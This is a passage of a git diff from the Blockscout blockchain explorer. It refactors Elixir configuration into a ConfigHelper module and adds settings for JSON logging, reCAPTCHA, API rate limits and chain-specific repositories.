"[{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"\",\"type\":\"uint64\"},{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"},{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"name\":\"Custom\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"Unused\",\"type\":\"error\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"flag\",\"type\":\"bool\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"Basic\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bool\",\"name\":\"flag\",\"type\":\"bool\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"not\",\"type\":\"bool\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"conn\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"caller\",\"type\":\"address\"}],\"name\":\"Mixed\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bool\",\"name\":\"flag\",\"type\":\"bool\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"field\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint24\",\"name\":\"number\",\"type\":\"uint24\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"store\",\"type\":\"bytes\"}],\"name\":\"Store\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"becomeChainOwner\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"number\",\"type\":\"uint64\"}],\"name\":\"customRevert\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"flag\",\"type\":\"bool\"},{\"internalType\":\"bytes32\",\"name\":\"value\",\"type\":\"bytes32\"}],\"name\":\"events\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"legacyError\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"}]\n" + } +] \ No newline at end of file diff --git a/config/config.exs b/config/config.exs index ffdbc800322b..2f45fe9d8ec6 100644 --- a/config/config.exs +++ b/config/config.exs @@ -13,30 +13,12 @@ end config :phoenix, :json_library, Jason -config :logger, - backends: [ - # all applications and all levels - :console, - # all applications, but only errors - {LoggerFileBackend, :error}, - # only :ecto, but all levels - {LoggerFileBackend, :ecto}, - # only :block_scout_web, but all levels - {LoggerFileBackend, :block_scout_web}, - # only :ethereum_jsonrpc, but all levels - {LoggerFileBackend, :ethereum_jsonrpc}, - # only :explorer, but all levels - {LoggerFileBackend, :explorer}, - # only :indexer, but all levels - {LoggerFileBackend, :indexer}, - {LoggerFileBackend, :indexer_token_balances}, - {LoggerFileBackend, :token_instances}, - {LoggerFileBackend, :reading_token_functions}, - {LoggerFileBackend, :pending_transactions_to_refetch}, - {LoggerFileBackend, :empty_blocks_to_refetch}, - {LoggerFileBackend, :api}, - {LoggerFileBackend, :block_import_timings} - ] +config :logger_json, :backend, + metadata: + ~w(application fetcher request_id first_block_number last_block_number missing_block_range_count missing_block_count + block_number step count error_count shrunk import_id transaction_id duration status unit endpoint method)a, + json_encoder: Jason, + formatter: LoggerJSON.Formatters.BasicLogger config :logger, :console, # Use same format for all loggers, even though the level should only ever be `:error` for `:error` backend @@ -61,6 +43,9 @@ config :logger, :error, ~w(application fetcher request_id first_block_number last_block_number missing_block_range_count missing_block_count block_number step count error_count shrunk import_id transaction_id)a +# todo: migrate from deprecated usages +config :tesla, disable_deprecated_builder_warning: true + # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. import_config "#{config_env()}.exs" diff --git a/config/config_helper.exs b/config/config_helper.exs new file mode 100644 index 000000000000..5dd1c8c2e767 --- /dev/null +++ b/config/config_helper.exs @@ -0,0 +1,458 @@ +defmodule ConfigHelper do + require Logger + + import Bitwise + alias Explorer.Market.Source + alias Indexer.Transform.Blocks + alias Utils.ConfigHelper + + def repos do + base_repos = [Explorer.Repo, Explorer.Repo.Account] + + chain_type_repo = + %{ + arbitrum: Explorer.Repo.Arbitrum, + blackfort: Explorer.Repo.Blackfort, + celo: Explorer.Repo.Celo, + ethereum: Explorer.Repo.Beacon, + filecoin: Explorer.Repo.Filecoin, + optimism: Explorer.Repo.Optimism, + polygon_zkevm: Explorer.Repo.PolygonZkevm, + rsk: Explorer.Repo.RSK, + scroll: Explorer.Repo.Scroll, + shibarium: Explorer.Repo.Shibarium, + stability: Explorer.Repo.Stability, + suave: Explorer.Repo.Suave, + zilliqa: Explorer.Repo.Zilliqa, + zksync: Explorer.Repo.ZkSync, + neon: Explorer.Repo.Neon + } + |> Map.get(chain_type()) + + chain_type_repos = (chain_type_repo && [chain_type_repo]) || [] + + ext_repos = + [ + {parse_bool_env_var("BRIDGED_TOKENS_ENABLED"), Explorer.Repo.BridgedTokens}, + {parse_bool_env_var("MUD_INDEXER_ENABLED"), Explorer.Repo.Mud}, + {parse_bool_env_var("SHRINK_INTERNAL_TRANSACTIONS_ENABLED"), Explorer.Repo.ShrunkInternalTransactions}, + {mode() in [:indexer, :api], Explorer.Repo.EventNotifications} + ] + |> Enum.filter(&elem(&1, 0)) + |> Enum.map(&elem(&1, 1)) + + base_repos ++ chain_type_repos ++ ext_repos + end + + @doc """ + Returns the list of logger backends to be used by the application. + + If the DISABLE_FILE_LOGGING environment variable is set to true, only base + logger backends (:console and LoggerJSON) are returned. Otherwise, returns + both base and file logger backends. + """ + @spec logger_backends() :: list() + def logger_backends do + base_logger_backends = [ + :console, + LoggerJSON + ] + + file_logger_backends = + [ + {LoggerFileBackend, :error}, + {LoggerFileBackend, :ecto}, + {LoggerFileBackend, :block_scout_web}, + {LoggerFileBackend, :ethereum_jsonrpc}, + {LoggerFileBackend, :explorer}, + {LoggerFileBackend, :indexer}, + {LoggerFileBackend, :indexer_token_balances}, + {LoggerFileBackend, :token_instances}, + {LoggerFileBackend, :reading_token_functions}, + {LoggerFileBackend, :pending_transactions_to_refetch}, + {LoggerFileBackend, :empty_blocks_to_refetch}, + {LoggerFileBackend, :withdrawal}, + {LoggerFileBackend, :api}, + {LoggerFileBackend, :block_import_timings}, + {LoggerFileBackend, :account}, + {LoggerFileBackend, :api_v2} + ] + + if parse_bool_env_var("DISABLE_FILE_LOGGING") do + base_logger_backends + else + base_logger_backends ++ file_logger_backends + end + end + + @spec http_options(non_neg_integer()) :: list() + def http_options(default_timeout \\ 1) do + http_timeout = timeout(default_timeout) + basic_auth_user = System.get_env("ETHEREUM_JSONRPC_USER", "") + basic_auth_pass = System.get_env("ETHEREUM_JSONRPC_PASSWORD", nil) + + [pool: :ethereum_jsonrpc, recv_timeout: http_timeout, timeout: http_timeout] + |> (&if(System.get_env("ETHEREUM_JSONRPC_HTTP_INSECURE", "") == "true", do: [insecure: true] ++ &1, else: &1)).() + |> (&if(basic_auth_user != "" && !is_nil(basic_auth_pass), + do: [basic_auth: {basic_auth_user, basic_auth_pass}] ++ &1, + else: &1 + )).() + end + + @spec timeout(non_neg_integer()) :: non_neg_integer() + def timeout(default_minutes \\ 1) do + case Integer.parse(safe_get_env("ETHEREUM_JSONRPC_HTTP_TIMEOUT", "#{default_minutes * 60}")) do + {seconds, ""} -> seconds + _ -> default_minutes * 60 + end + |> :timer.seconds() + end + + @spec parse_integer_env_var(String.t(), integer()) :: non_neg_integer() + def parse_integer_env_var(env_var, default_value) do + env_var + |> safe_get_env(to_string(default_value)) + |> Integer.parse() + |> case do + {integer, _} -> integer + _ -> 0 + end + end + + @spec parse_float_env_var(String.t(), float()) :: float() + def parse_float_env_var(env_var, default_value) do + env_var + |> safe_get_env(to_string(default_value)) + |> Float.parse() + |> case do + {float, _} -> float + _ -> 0 + end + end + + @spec parse_integer_or_nil_env_var(String.t()) :: non_neg_integer() | nil + def parse_integer_or_nil_env_var(env_var) do + env_var + |> System.get_env("") + |> Integer.parse() + |> case do + {integer, _} -> integer + _ -> nil + end + end + + @spec parse_time_env_var(String.t(), String.t() | nil) :: non_neg_integer() | nil + def parse_time_env_var(env_var, default_value \\ nil) do + case safe_get_env(env_var, default_value) do + "" -> + nil + + value -> + case ConfigHelper.parse_time_value(value) do + :error -> + raise "Invalid time format in environment variable #{env_var}: #{value}" + + time -> + time + end + end + end + + @doc """ + Parses value of env var through catalogued values list. If a value is not in the list, nil is returned. + Also, the application shutdown option is supported, if a value is wrong. + """ + @spec parse_catalog_value(String.t(), List.t(), bool(), String.t() | nil) :: atom() | nil + def parse_catalog_value(env_var, catalog, shutdown_on_wrong_value?, default_value \\ nil) do + value = env_var |> safe_get_env(default_value) + + if value !== "" do + if value in catalog do + String.to_atom(value) + else + if shutdown_on_wrong_value? do + Logger.error(wrong_value_error(value, env_var, catalog)) + exit(:shutdown) + else + Logger.warning(wrong_value_error(value, env_var, catalog)) + nil + end + end + else + nil + end + end + + defp wrong_value_error(value, env_var, catalog) do + "Invalid value \"#{value}\" of #{env_var} environment variable is provided. Supported values are #{inspect(catalog)}" + end + + def safe_get_env(env_var, default_value) do + env_var + |> System.get_env(default_value) + |> case do + "" -> default_value + value -> value + end + |> to_string() + end + + @spec parse_bool_env_var(String.t(), String.t()) :: boolean() + def parse_bool_env_var(env_var, default_value \\ "false"), + do: String.downcase(safe_get_env(env_var, default_value)) == "true" + + @spec cache_ttl_check_interval(boolean()) :: non_neg_integer() | false + def cache_ttl_check_interval(disable_indexer?) do + if(disable_indexer?, do: :timer.seconds(1), else: false) + end + + @spec cache_global_ttl(boolean()) :: non_neg_integer() + def cache_global_ttl(disable_indexer?) do + if(disable_indexer?, do: :timer.seconds(5)) + end + + @spec indexer_memory_limit() :: integer() + def indexer_memory_limit do + "INDEXER_MEMORY_LIMIT" + |> safe_get_env(nil) + |> String.downcase() + |> Integer.parse() + |> case do + {integer, g} when g in ["g", "gb", ""] -> integer <<< 30 + {integer, m} when m in ["m", "mb"] -> integer <<< 20 + _ -> nil + end + end + + @spec market_source(String.t()) :: + Source.CoinGecko + | Source.CoinMarketCap + | Source.CryptoCompare + | Source.CryptoRank + | Source.DefiLlama + | Source.Mobula + | nil + def market_source(env_var) do + sources = %{ + "coin_gecko" => Source.CoinGecko, + "coin_market_cap" => Source.CoinMarketCap, + "crypto_compare" => Source.CryptoCompare, + "crypto_rank" => Source.CryptoRank, + "defillama" => Source.DefiLlama, + "mobula" => Source.Mobula, + "" => nil, + nil => nil + } + + configured_source = System.get_env(env_var) + + case Map.fetch(sources, configured_source) do + {:ok, source} -> + source + + _ -> + raise """ + No such #{env_var}: #{configured_source}. + + Valid values are: + #{Enum.join(Map.keys(sources), "\n")} + + Please update environment variable #{env_var} accordingly. + """ + end + end + + def block_transformer do + block_transformers = %{ + "clique" => Blocks.Clique, + "base" => Blocks.Base + } + + # Compile time environment variable access requires recompilation. + configured_transformer = safe_get_env("BLOCK_TRANSFORMER", "base") + + case Map.get(block_transformers, configured_transformer) do + nil -> + raise """ + No such block transformer: #{configured_transformer}. + + Valid values are: + #{Enum.join(Map.keys(block_transformers), "\n")} + + Please update environment variable BLOCK_TRANSFORMER accordingly. + """ + + transformer -> + transformer + end + end + + @spec parse_json_env_var(String.t(), String.t()) :: any() + def parse_json_env_var(env_var, default_value \\ "{}") do + env_var + |> safe_get_env(default_value) + |> Jason.decode!() + rescue + err -> raise "Invalid JSON in environment variable #{env_var}: #{inspect(err)}" + end + + def parse_json_with_atom_keys_env_var(env_var, default_value \\ "{}") do + with {:ok, map} <- + env_var + |> safe_get_env(default_value) + |> Jason.decode() do + for {key, value} <- map, into: %{}, do: {String.to_atom(key), value} + else + {:error, error} -> raise "Invalid JSON in environment variable #{env_var}: #{inspect(error)}" + end + rescue + error -> raise "Invalid JSON in environment variable #{env_var}: #{inspect(error)}" + end + + @spec parse_list_env_var(String.t(), String.t() | nil) :: list() + def parse_list_env_var(env_var, default_value \\ nil) do + addresses_var = safe_get_env(env_var, default_value) + + if addresses_var !== "" do + addresses_list = (addresses_var && String.split(addresses_var, ",")) || [] + + formatted_addresses_list = + addresses_list + |> Enum.map(fn addr -> + String.downcase(addr) + end) + + formatted_addresses_list + else + [] + end + end + + @spec parse_url_env_var(String.t(), boolean()) :: String.t() | nil + def parse_url_env_var(env_var, default_value \\ nil, trailing_slash_needed? \\ false) do + with url when not is_nil(url) <- safe_get_env(env_var, default_value), + url <- String.trim_trailing(url, "/"), + true <- url != "", + {url, true} <- {url, trailing_slash_needed?} do + url <> "/" + else + {url, false} -> + url + + false -> + default_value + + nil -> + nil + end + end + + @supported_chain_types [ + "default", + "arbitrum", + "blackfort", + "celo", + "ethereum", + "filecoin", + "optimism", + "polygon_zkevm", + "rsk", + "scroll", + "shibarium", + "stability", + "suave", + "zetachain", + "zilliqa", + "zksync", + "neon" + ] + + @spec chain_type() :: atom() | nil + def chain_type, do: parse_catalog_value("CHAIN_TYPE", @supported_chain_types, true, "default") + + @supported_modes ["all", "indexer", "api"] + + @spec mode :: atom() + def mode, do: parse_catalog_value("APPLICATION_MODE", @supported_modes, true, "all") + + @doc """ + Retrieves json rpc urls list based on `urls_type` + """ + @spec parse_urls_list( + :http | :trace | :eth_call | :fallback_http | :fallback_trace | :fallback_eth_call, + String.t() | nil + ) :: [String.t()] + def parse_urls_list(urls_type, default_url \\ nil) do + {urls_var, url_var} = define_urls_vars(urls_type) + + with [] <- parse_list_env_var(urls_var), + "" <- safe_get_env(url_var, default_url) do + case urls_type do + :http -> + Logger.warning("ETHEREUM_JSONRPC_HTTP_URL (or ETHEREUM_JSONRPC_HTTP_URLS) env variable is required") + [] + + :fallback_http -> + parse_urls_list(:http) + + _other -> + new_urls_type = if String.contains?(to_string(urls_type), "fallback"), do: :fallback_http, else: :http + parse_urls_list(new_urls_type) + end + else + urls when is_list(urls) -> urls + url -> [url] + end + end + + @doc """ + Parses and validates a microservice URL from an environment variable, removing any trailing slash. + + ## Parameters + - `env_name`: The name of the environment variable containing the URL + + ## Returns + - The validated URL string with any trailing slash removed + - `nil` if the URL is invalid or missing required components + """ + @spec parse_microservice_url(String.t()) :: String.t() | nil + def parse_microservice_url(env_name) do + url = System.get_env(env_name) + + cond do + not valid_url?(url) -> + nil + + String.ends_with?(url, "/") -> + url + |> String.slice(0..(String.length(url) - 2)) + + true -> + url + end + end + + # Validates if the given string is a valid URL by checking if it has both scheme (like http, + # https, ftp) and host components. + @spec valid_url?(String.t()) :: boolean() + defp valid_url?(string) when is_binary(string) do + uri = URI.parse(string) + + !is_nil(uri.scheme) && !is_nil(uri.host) + end + + defp valid_url?(_), do: false + + defp define_urls_vars(:http), do: {"ETHEREUM_JSONRPC_HTTP_URLS", "ETHEREUM_JSONRPC_HTTP_URL"} + defp define_urls_vars(:trace), do: {"ETHEREUM_JSONRPC_TRACE_URLS", "ETHEREUM_JSONRPC_TRACE_URL"} + defp define_urls_vars(:eth_call), do: {"ETHEREUM_JSONRPC_ETH_CALL_URLS", "ETHEREUM_JSONRPC_ETH_CALL_URL"} + + defp define_urls_vars(:fallback_http), + do: {"ETHEREUM_JSONRPC_FALLBACK_HTTP_URLS", "ETHEREUM_JSONRPC_FALLBACK_HTTP_URL"} + + defp define_urls_vars(:fallback_trace), + do: {"ETHEREUM_JSONRPC_FALLBACK_TRACE_URLS", "ETHEREUM_JSONRPC_FALLBACK_TRACE_URL"} + + defp define_urls_vars(:fallback_eth_call), + do: {"ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URLS", "ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URL"} +end diff --git a/config/dev.exs b/config/dev.exs index 21e6c9fd40f7..27154824a939 100644 --- a/config/dev.exs +++ b/config/dev.exs @@ -3,8 +3,15 @@ import Config # DO NOT make it `:debug` or all Ecto logs will be shown for indexer config :logger, :console, level: :info +config :logger_json, :backend, level: :none + config :logger, :ecto, level: :debug, path: Path.absname("logs/dev/ecto.log") config :logger, :error, path: Path.absname("logs/dev/error.log") + +config :logger, :account, + level: :debug, + path: Path.absname("logs/dev/account.log"), + metadata_filter: [fetcher: :account] diff --git a/config/prod.exs b/config/prod.exs index 2175810d041f..2e8c9db24d97 100644 --- a/config/prod.exs +++ b/config/prod.exs @@ -2,7 +2,9 @@ import Config # Do not print debug messages in production -config :logger, :console, level: :info +config :logger, :console, level: :none + +config :logger_json, :backend, level: :info config :logger, :ecto, level: :info, @@ -12,3 +14,9 @@ config :logger, :ecto, config :logger, :error, path: Path.absname("logs/prod/error.log"), rotate: %{max_bytes: 52_428_800, keep: 19} + +config :logger, :account, + level: :info, + path: Path.absname("logs/prod/account.log"), + rotate: %{max_bytes: 52_428_800, keep: 19}, + metadata_filter: [fetcher: :account] diff --git a/config/runtime.exs b/config/runtime.exs index 8c41e45c45be..c8298d50223a 100644 --- a/config/runtime.exs +++ b/config/runtime.exs @@ -1,268 +1,550 @@ import Config -import Bitwise - -indexer_memory_limit = - "INDEXER_MEMORY_LIMIT" - |> System.get_env("1") - |> Integer.parse() - |> case do - {integer, ""} -> integer - _ -> 1 - end - -config :indexer, - memory_limit: indexer_memory_limit <<< 30 - -indexer_empty_blocks_sanitizer_batch_size = - if System.get_env("INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE") do - case Integer.parse(System.get_env("INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE")) do - {integer, ""} -> integer - _ -> 100 - end - else - 100 - end +[__DIR__ | ~w(config_helper.exs)] +|> Path.join() +|> Code.eval_file() -config :indexer, Indexer.Fetcher.EmptyBlocksSanitizer, batch_size: indexer_empty_blocks_sanitizer_batch_size +config :logger, + backends: ConfigHelper.logger_backends() -config :block_scout_web, :footer, - chat_link: System.get_env("FOOTER_CHAT_LINK", "https://discord.gg/XmNatGKbPS"), - forum_link: System.get_env("FOOTER_FORUM_LINK", "https://forum.poa.network/c/blockscout"), - github_link: System.get_env("FOOTER_GITHUB_LINK", "https://github.com/blockscout/blockscout") +microservice_multichain_search_url = System.get_env("MICROSERVICE_MULTICHAIN_SEARCH_URL") +transactions_stats_enabled = ConfigHelper.parse_bool_env_var("TXS_STATS_ENABLED", "true") ###################### ### BlockScout Web ### ###################### +disable_api? = ConfigHelper.parse_bool_env_var("DISABLE_API") + config :block_scout_web, version: System.get_env("BLOCKSCOUT_VERSION"), release_link: System.get_env("RELEASE_LINK"), - decompiled_smart_contract_token: System.get_env("DECOMPILED_SMART_CONTRACT_TOKEN"), - show_percentage: if(System.get_env("SHOW_ADDRESS_MARKETCAP_PERCENTAGE", "true") == "false", do: false, else: true), - checksum_address_hashes: if(System.get_env("CHECKSUM_ADDRESS_HASHES", "true") == "false", do: false, else: true) - -config :block_scout_web, BlockScoutWeb.Chain, - network: System.get_env("NETWORK"), - subnetwork: System.get_env("SUBNETWORK"), - network_icon: System.get_env("NETWORK_ICON"), - logo: System.get_env("LOGO"), - logo_footer: System.get_env("LOGO_FOOTER"), - logo_text: System.get_env("LOGO_TEXT"), - has_emission_funds: false, - show_maintenance_alert: System.get_env("SHOW_MAINTENANCE_ALERT", "false") == "true", - enable_testnet_label: System.get_env("SHOW_TESTNET_LABEL", "false") == "true", - testnet_label_text: System.get_env("TESTNET_LABEL_TEXT", "Testnet") - -config :block_scout_web, - link_to_other_explorers: System.get_env("LINK_TO_OTHER_EXPLORERS") == "true", - other_explorers: System.get_env("OTHER_EXPLORERS"), + show_percentage: ConfigHelper.parse_bool_env_var("SHOW_ADDRESS_MARKETCAP_PERCENTAGE", "true"), + checksum_address_hashes: ConfigHelper.parse_bool_env_var("CHECKSUM_ADDRESS_HASHES", "true"), other_networks: System.get_env("SUPPORTED_CHAINS"), webapp_url: System.get_env("WEBAPP_URL"), api_url: System.get_env("API_URL"), - apps_menu: if(System.get_env("APPS_MENU", "false") == "true", do: true, else: false), - external_apps: System.get_env("EXTERNAL_APPS"), - gas_price: System.get_env("GAS_PRICE", nil), - restricted_list: System.get_env("RESTRICTED_LIST", nil), - restricted_list_key: System.get_env("RESTRICTED_LIST_KEY", nil), + apps_menu: ConfigHelper.parse_bool_env_var("APPS_MENU"), + apps: System.get_env("APPS") || System.get_env("EXTERNAL_APPS"), + gas_price: System.get_env("GAS_PRICE"), dark_forest_addresses: System.get_env("CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST"), dark_forest_addresses_v_0_5: System.get_env("CUSTOM_CONTRACT_ADDRESSES_DARK_FOREST_V_0_5"), circles_addresses: System.get_env("CUSTOM_CONTRACT_ADDRESSES_CIRCLES"), - test_tokens_addresses: System.get_env("CUSTOM_CONTRACT_ADDRESSES_TEST_TOKEN"), - max_size_to_show_array_as_is: Integer.parse(System.get_env("MAX_SIZE_UNLESS_HIDE_ARRAY", "50")), - max_length_to_show_string_without_trimming: System.get_env("MAX_STRING_LENGTH_WITHOUT_TRIMMING", "2040"), - re_captcha_secret_key: System.get_env("RE_CAPTCHA_SECRET_KEY", nil), - re_captcha_client_key: System.get_env("RE_CAPTCHA_CLIENT_KEY", nil), + new_tags: System.get_env("NEW_TAGS"), chain_id: System.get_env("CHAIN_ID"), - json_rpc: System.get_env("JSON_RPC") - -default_api_rate_limit = 50 -default_api_rate_limit_str = Integer.to_string(default_api_rate_limit) - -global_api_rate_limit_value = - "API_RATE_LIMIT" - |> System.get_env(default_api_rate_limit_str) - |> Integer.parse() - |> case do - {integer, ""} -> integer - _ -> default_api_rate_limit - end - -api_rate_limit_by_key_value = - "API_RATE_LIMIT_BY_KEY" - |> System.get_env(default_api_rate_limit_str) - |> Integer.parse() - |> case do - {integer, ""} -> integer - _ -> default_api_rate_limit - end - -api_rate_limit_by_ip_value = - "API_RATE_LIMIT_BY_IP" - |> System.get_env(default_api_rate_limit_str) - |> Integer.parse() - |> case do - {integer, ""} -> integer - _ -> default_api_rate_limit - end + json_rpc: System.get_env("JSON_RPC"), + disable_add_to_mm_button: ConfigHelper.parse_bool_env_var("DISABLE_ADD_TO_MM_BUTTON"), + permanent_dark_mode_enabled: ConfigHelper.parse_bool_env_var("PERMANENT_DARK_MODE_ENABLED"), + permanent_light_mode_enabled: ConfigHelper.parse_bool_env_var("PERMANENT_LIGHT_MODE_ENABLED"), + display_token_icons: ConfigHelper.parse_bool_env_var("DISPLAY_TOKEN_ICONS"), + hide_block_miner: ConfigHelper.parse_bool_env_var("HIDE_BLOCK_MINER"), + hide_scam_addresses: ConfigHelper.parse_bool_env_var("HIDE_SCAM_ADDRESSES"), + show_tenderly_link: ConfigHelper.parse_bool_env_var("SHOW_TENDERLY_LINK"), + sensitive_endpoints_api_key: System.get_env("API_SENSITIVE_ENDPOINTS_KEY"), + disable_api?: disable_api? + +config :block_scout_web, :recaptcha, + v2_client_key: System.get_env("RE_CAPTCHA_CLIENT_KEY"), + v2_secret_key: System.get_env("RE_CAPTCHA_SECRET_KEY"), + v3_client_key: System.get_env("RE_CAPTCHA_V3_CLIENT_KEY"), + v3_secret_key: System.get_env("RE_CAPTCHA_V3_SECRET_KEY"), + is_disabled: ConfigHelper.parse_bool_env_var("RE_CAPTCHA_DISABLED"), + check_hostname?: ConfigHelper.parse_bool_env_var("RE_CAPTCHA_CHECK_HOSTNAME", "true"), + score_threshold: ConfigHelper.parse_float_env_var("RE_CAPTCHA_SCORE_THRESHOLD", "0.5"), + bypass_token: ConfigHelper.safe_get_env("RE_CAPTCHA_BYPASS_TOKEN", nil), + scoped_bypass_tokens: [ + token_instance_refetch_metadata: + ConfigHelper.safe_get_env("RE_CAPTCHA_TOKEN_INSTANCE_REFETCH_METADATA_SCOPED_BYPASS_TOKEN", nil) + ] -config :block_scout_web, :api_rate_limit, - global_limit: global_api_rate_limit_value, - limit_by_key: api_rate_limit_by_key_value, - limit_by_ip: api_rate_limit_by_ip_value, - static_api_key: System.get_env("API_RATE_LIMIT_STATIC_API_KEY", nil), - whitelisted_ips: System.get_env("API_RATE_LIMIT_WHITELISTED_IPS", nil) +network_path = + "NETWORK_PATH" + |> System.get_env("/") + |> (&(if String.ends_with?(&1, "/") do + String.trim_trailing(&1, "/") + else + &1 + end)).() +# Configures the endpoint config :block_scout_web, BlockScoutWeb.Endpoint, server: true, url: [ + path: network_path, scheme: System.get_env("BLOCKSCOUT_PROTOCOL") || "http", host: System.get_env("BLOCKSCOUT_HOST") || "localhost" - ] + ], + render_errors: [view: BlockScoutWeb.ErrorView, accepts: ~w(html json)], + pubsub_server: BlockScoutWeb.PubSub + +config :block_scout_web, BlockScoutWeb.HealthEndpoint, + server: true, + url: [ + path: network_path, + scheme: System.get_env("BLOCKSCOUT_PROTOCOL") || "http", + host: System.get_env("BLOCKSCOUT_HOST") || "localhost" + ], + render_errors: [view: BlockScoutWeb.ErrorView, accepts: ~w(html json)], + pubsub_server: BlockScoutWeb.PubSub + +config :block_scout_web, BlockScoutWeb.Chain, + network: System.get_env("NETWORK"), + subnetwork: System.get_env("SUBNETWORK"), + network_icon: System.get_env("NETWORK_ICON"), + logo: System.get_env("LOGO"), + logo_text: System.get_env("LOGO_TEXT"), + has_emission_funds: false, + show_maintenance_alert: ConfigHelper.parse_bool_env_var("SHOW_MAINTENANCE_ALERT"), + enable_testnet_label: ConfigHelper.parse_bool_env_var("SHOW_TESTNET_LABEL"), + testnet_label_text: System.get_env("TESTNET_LABEL_TEXT", "Testnet") + +config :block_scout_web, :footer, + logo: System.get_env("FOOTER_LOGO"), + chat_link: System.get_env("FOOTER_CHAT_LINK", "https://discord.gg/blockscout"), + github_link: System.get_env("FOOTER_GITHUB_LINK", "https://github.com/blockscout/blockscout"), + forum_link_enabled: ConfigHelper.parse_bool_env_var("FOOTER_FORUM_LINK_ENABLED"), + forum_link: System.get_env("FOOTER_FORUM_LINK", "https://forum.poa.network/c/blockscout"), + telegram_link_enabled: ConfigHelper.parse_bool_env_var("FOOTER_TELEGRAM_LINK_ENABLED"), + telegram_link: System.get_env("FOOTER_TELEGRAM_LINK"), + link_to_other_explorers: ConfigHelper.parse_bool_env_var("FOOTER_LINK_TO_OTHER_EXPLORERS"), + other_explorers: System.get_env("FOOTER_OTHER_EXPLORERS", "") + +config :block_scout_web, :contract, + verification_max_libraries: ConfigHelper.parse_integer_env_var("CONTRACT_VERIFICATION_MAX_LIBRARIES", 10), + max_length_to_show_string_without_trimming: System.get_env("CONTRACT_MAX_STRING_LENGTH_WITHOUT_TRIMMING", "2040"), + disable_interaction: ConfigHelper.parse_bool_env_var("CONTRACT_DISABLE_INTERACTION"), + certified_list: ConfigHelper.parse_list_env_var("CONTRACT_CERTIFIED_LIST", ""), + partial_reverification_disabled: !ConfigHelper.parse_bool_env_var("CONTRACT_ENABLE_PARTIAL_REVERIFICATION") + +default_global_api_rate_limit = 25 +default_api_rate_limit_by_key = 10 +api_rate_limit_redis_url = ConfigHelper.safe_get_env("API_RATE_LIMIT_HAMMER_REDIS_URL", nil) + +config :block_scout_web, :api_rate_limit, + disabled: ConfigHelper.parse_bool_env_var("API_RATE_LIMIT_DISABLED"), + static_api_key_value: System.get_env("API_RATE_LIMIT_STATIC_API_KEY"), + static_api_key: %{ + limit: ConfigHelper.parse_integer_env_var("API_RATE_LIMIT_BY_KEY", default_api_rate_limit_by_key), + period: ConfigHelper.parse_time_env_var("API_RATE_LIMIT_BY_KEY_TIME_INTERVAL", "1s") + }, + whitelisted_ip: %{ + limit: ConfigHelper.parse_integer_env_var("API_RATE_LIMIT_BY_WHITELISTED_IP", default_global_api_rate_limit), + period: ConfigHelper.parse_time_env_var("API_RATE_LIMIT_BY_WHITELISTED_IP_TIME_INTERVAL", "1s") + }, + ip: %{ + limit: ConfigHelper.parse_integer_env_var("API_RATE_LIMIT_BY_IP", 300), + period: ConfigHelper.parse_time_env_var("API_RATE_LIMIT_BY_IP_TIME_INTERVAL", "1m") + }, + temporary_token: %{ + limit: ConfigHelper.parse_integer_env_var("API_RATE_LIMIT_UI_V2_WITH_TOKEN", 5), + period: ConfigHelper.parse_time_env_var("API_RATE_LIMIT_UI_V2_WITH_TOKEN_TIME_INTERVAL", "1s") + }, + account_api_key: %{ + period: ConfigHelper.parse_time_env_var("API_RATE_LIMIT_BY_ACCOUNT_API_KEY_TIME_INTERVAL", "1s") + }, + no_rate_limit_api_key_value: System.get_env("API_NO_RATE_LIMIT_API_KEY"), + whitelisted_ips: System.get_env("API_RATE_LIMIT_WHITELISTED_IPS"), + api_v2_token_ttl: ConfigHelper.parse_time_env_var("API_RATE_LIMIT_UI_V2_TOKEN_TTL", "30m"), + eth_json_rpc_max_batch_size: ConfigHelper.parse_integer_env_var("ETH_JSON_RPC_MAX_BATCH_SIZE", 5), + redis_url: if(api_rate_limit_redis_url == "", do: nil, else: api_rate_limit_redis_url), + rate_limit_backend: + if(api_rate_limit_redis_url == "", + do: BlockScoutWeb.RateLimit.Hammer.ETS, + else: BlockScoutWeb.RateLimit.Hammer.Redis + ), + config_url: System.get_env("API_RATE_LIMIT_CONFIG_URL") + +config :block_scout_web, :remote_ip, + is_blockscout_behind_proxy: ConfigHelper.parse_bool_env_var("API_RATE_LIMIT_IS_BLOCKSCOUT_BEHIND_PROXY"), + headers: ConfigHelper.parse_list_env_var("API_RATE_LIMIT_REMOTE_IP_HEADERS", "x-forwarded-for"), + proxies: 